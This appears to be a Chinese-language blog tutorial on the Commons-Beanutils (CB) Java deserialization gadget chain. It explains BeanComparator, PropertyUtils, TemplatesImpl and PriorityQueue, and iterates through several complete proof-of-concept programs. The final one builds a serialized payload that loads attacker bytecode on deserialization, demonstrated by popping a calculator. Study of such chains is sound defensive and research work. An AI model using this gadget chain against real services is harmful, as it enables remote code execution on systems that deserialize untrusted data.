CB链

Java学习

CB链

环境配置

环境配置

pom.xml添加:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<dependency>  
    <groupId>commons-beanutils</groupId>  
    <artifactId>commons-beanutils</artifactId>  
    <version>1.8.3</version>  
</dependency>  
<dependency>  
    <groupId>commons-logging</groupId>  
    <artifactId>commons-logging</artifactId>  
    <version>1.2</version>  
</dependency>
测试环境
  • commons-beanutils 1.8.3
  • commons-logging:commons-logging:1.2
  • JDK 8u411
  • commons-collections3.2.1

这里需要3.2.1的原因是后面要利用的BeanComparator要用: image-20240809203554712

踩了一下坑,这里4是用不了的

正式学习

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通java类对象(也称为JavaBean)的一些操作方法。

而JavaBean是一个遵循特定写法的Java类,它通常具有如下特点:

  • 这个类必须具有一个无参的构造函数(一般我们没自定义构造函数的话默认的就是无参的构造函数)
  • 属性必须私有化
  • 私有化的属性必须通过public类型的方法暴露给其他程序,并且方法的命名也必须遵守一定的命名规范。

比如如下的Cat类就是一个最简单的JavaBean类:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
final public class Cat {
	private String name = "catalina";
		
   public String getName() {
		return name;
		}
	
   public void setName(String name) {
		this.name = name;
		}
}

它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。

需要了解的类

PropertyUtils

它是对JavaBean进行操作的工具类,可单独为某个属性进行值的操作的工具类。它利用反射操作Bean的属性。这个类位于org.apache.commons.beanutils.PropertyUtils

PropertyUtils类中提供了一些public的静态方法,以便直接调用一些getter和setter方法:

  • getProperty:返回指定Bean的指定属性的值
  • getSimpleProperty:返回执行Bean的指定属性的值
  • setProperty:设置指定Bean的指定属性的值
  • setSimpleProperty:设置指定Bean的指定属性的值

看一个实例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;
import org.apache.commons.beanutils.PropertyUtils;

public class Main{
    private  String name;
    public void setName(String name){
        this.name = name;
    }
    public String getName(){
        return this.name;
    }

    public static void main(String[] args) throws Exception {
        Main x = new Main();
        PropertyUtils.setProperty(x,"name","fupanc");
        System.out.println(x.getName());

        x.setName("haha");
        System.out.println(PropertyUtils.getProperty(x,"name"));
    }
}

输出为:

1
2
fupanc
haha

看这个结果已经很容易知道前面的方法是干嘛的了。注意一下在调用方法时对于参数设置的问题。

所以这里其实很容易看出,PropertyUtils.getProperty/setProperty方法,参数一定要注意,其实就可以理解为调用对应类变量的getter和setter方法。

BeanComparator

前面也说过,其实CB链就是cc2的基础上新找了一个调用compare进行利用。在ysoserial中利用到的是BeanComparator类,这个类位于org.apache.commons.beanutils.BeanComparator,我们来看一下他的compare方法: image-20240809162246985

重点关注:

image-20240809163359248

前面说过getProperty()方法,在这里那么就会调用o1、o2对象的property变量的getter方法。

在ysoserial中,CB链利用到了TemplatesImpl类,是通过PropertyUtils.getProperty来调用_outputProperties变量的getter方法,也就是TemplatesImpl的getOutputProperties方法来动态加载字节码,那么现在来看一下getOutputProperties()方法的源码: image-20240809164259097

这里调用了newTransformer()方法,在这里就可以进行一次恶意动态加载字节码的过程。

那么在BeanComparator的compare()方法中,我们需要控制o1/o2为TemplatesImpl对象,this.PropertiesoutputProperties字符串。

看一下BeanComparator类的构造方法,按照前面的描述,我们这里不需要自定义this.comparator变量,这里我们要利用到的是构造方法是:

image-20240809170449454

其实也就是下面那个,但是直接使用“默认”的comparator了。

攻击构造

前面把基本的链给了出来,在这里还是利用的PriorityQueue作为序列化和反序列化的类,反序列化的时候是差不多的,最终到调用compare()方法的地方是:

image-20240809170903843

现在其实感觉和CC2差不多了。

构造基本的字节码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl tem = new TemplatesImpl();
        setFieldValue(tem,"_name","fupanc");
        setFieldValue(tem,"_bytecodes",new byte[][]{code});
        setFieldValue(tem, "_class", null);
        setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

然后其他流程直接当做cc2那里看,现在简单分别分析一下过程。

反序列化部分
  • 和CC2差不多,PriorityQueue的readObject() =》heapify() =》siftDown() =》siftDownUsingComparator,最终也就是如下:

image-20240809195718569

按照CC2过程来,假如我们add进两个值,那么这里的k为0,x为queue[0]的值,也就是我们第一个add进的值,同时看这个方法的内部,那么再分别说一下值问题:

  • half:1
  • child:1
  • right:2

所以上面的c对应我们前面add进的第二个值,看大小情况可以知道是会进入第二个if条件语句,对应参数分别为(x:queue[0],c:queue[1])。

结合前面对BeanComparator类的compare()方法的描述,可以知道我们这里至少需要一个为设计好了的TemplatesImpl类对象。

序列化部分

add()有个部分,在第二次add进值的时候: image-20240809173717617

按照前面的说法,这里会进入BeanComparator的compare()方法,这里的k即是1,x即是我第二次要放入的值,e就是queue[0],也就是我放入的第一个值。看这里的compare()的值,看参数(x:add2,e:queue[0]),在前面序列化的时候说了,我们需要至少add进一个TemplatesImpl类实例,那么其实在这里同样可以尝试一下构造在序列化时弹出计算机:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl tem = new TemplatesImpl();
        setFieldValue(tem,"_name","fupanc");
        setFieldValue(tem,"_bytecodes",new byte[][]{code});
        setFieldValue(tem, "_class", null);
        setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());

        BeanComparator bean = new BeanComparator("outputProperties");
        PriorityQueue priority = new PriorityQueue(2,bean);
        priority.add(1);
        priority.add(tem);

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功按照预期弹出一个计算机。还有就是存在一个和之前一样的问题,当我利用TemplatesImpl来动态加载恶意字节码的时候,如果我add进两个tem,只会弹出一个计算机,在第一个结束后会直接报错结束,并不会进入第二个利用点: image-20240809204312854

比如CC4等。

还有一个需要注意的点就是这里add进的顺序也有讲究,比如我像上面代码那样只add进一个,那么我必须保证tem在o1,因为o1/o2必须为一个类实例,按照前面将的参数问题,o1对应add2,也就是我要在第二个地方add进tem,否则会直接报错退出。

那么我们现在继续关注第二次add后会发生什么: 在前面抛出异常后,不知道调用compare()方法后到底会返回什么,那么我们直接打断点来看会到哪里,发现确实会在抛出异常后直接退出,那么这样我们并不能成功在queue[1]成功设置为tem,从而导致后续都失败。

在ysoserial中给出了解决方法,我们可以先往里面随便add进值,然后再反射更改为我想利用的,那么测试代码可以改为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl tem = new TemplatesImpl();
        setFieldValue(tem,"_name","fupanc");
        setFieldValue(tem,"_bytecodes",new byte[][]{code});
        setFieldValue(tem, "_class", null);
        setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());

        BeanComparator bean = new BeanComparator("outputProperties");
        PriorityQueue priority = new PriorityQueue(2,bean);
        priority.add(1);
        priority.add(1);

        Object[] x = new Object[]{1,tem};

        Field field1 = PriorityQueue.class.getDeclaredField("queue");
        field1.setAccessible(true);
        field1.set(priority,x);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(priority);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

然后这里报错了我们上面说的问题,PropertyUtils的getProperty的方法第一个参数需要为类实例,但是我们这里传入的都是整数,所以在第二次add后会报错。

image-20240809210407199

解决方法,在BeanComparator的compare()方法中: image-20240809210510663

这里只要满足property为null,就不会再调用getProperty()方法,而是正常的compare方法来比较。

所以我们这里可以使得property先为null,而后再反射修改这个值为outputProperties。

那么POC为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl tem = new TemplatesImpl();
        setFieldValue(tem,"_name","fupanc");
        setFieldValue(tem,"_bytecodes",new byte[][]{code});
        setFieldValue(tem, "_class", null);
        setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());

        BeanComparator bean = new BeanComparator();
        PriorityQueue priority = new PriorityQueue(2,bean);
        priority.add(1);
        priority.add(1);

        //错误点
        Object[] x = new Object[]{1,tem};

        Field field1 = PriorityQueue.class.getDeclaredField("queue");
        field1.setAccessible(true);
        field1.set(priority,x);

        String name = "outputProperties";
        Field field2 = BeanComparator.class.getDeclaredField("property");
        field2.setAccessible(true);
        field2.set(bean,name);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(priority);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

继续报错

image-20240809211752282

然后思考,这里逻辑明明没有问题,但是为啥还是弹这个问题,然后我尝试修改为传入两个tem,成功弹出计算机,然后再仔细比对一下,找出问题所在,问题处在前面的POC标出来了,感兴趣的可以先自己想想。

我前面的POC构造是按照序列化前的add()部分构造的,其中的顺序需要为:

add1为其他,必须add2为tem

但是在反序列化过程中

注意前面分析时给出的结果,在反序列时调用到BeanComparator的compare()方法时的参数分别为**(x:queue[0],c:queue[1])**。

所以这里是先调用的queue[0],同时结合我们前面的说法,只会调用一次,所以我们这里需要,如下设置:

1
Object[] x = new Object[]{tem,1};

那么最终的POC为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl tem = new TemplatesImpl();
        setFieldValue(tem,"_name","fupanc");
        setFieldValue(tem,"_bytecodes",new byte[][]{code});
        setFieldValue(tem, "_class", null);
        setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());

        BeanComparator bean = new BeanComparator();
        PriorityQueue priority = new PriorityQueue(2,bean);
        priority.add(1);
        priority.add(1);

        Object[] x = new Object[]{tem,1};
        Field field1 = PriorityQueue.class.getDeclaredField("queue");
        field1.setAccessible(true);
        field1.set(priority,x);

        String name = "outputProperties";
        Field field2 = BeanComparator.class.getDeclaredField("property");
        field2.setAccessible(true);
        field2.set(bean,name);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(priority);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功按照预期弹出一个计算机。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计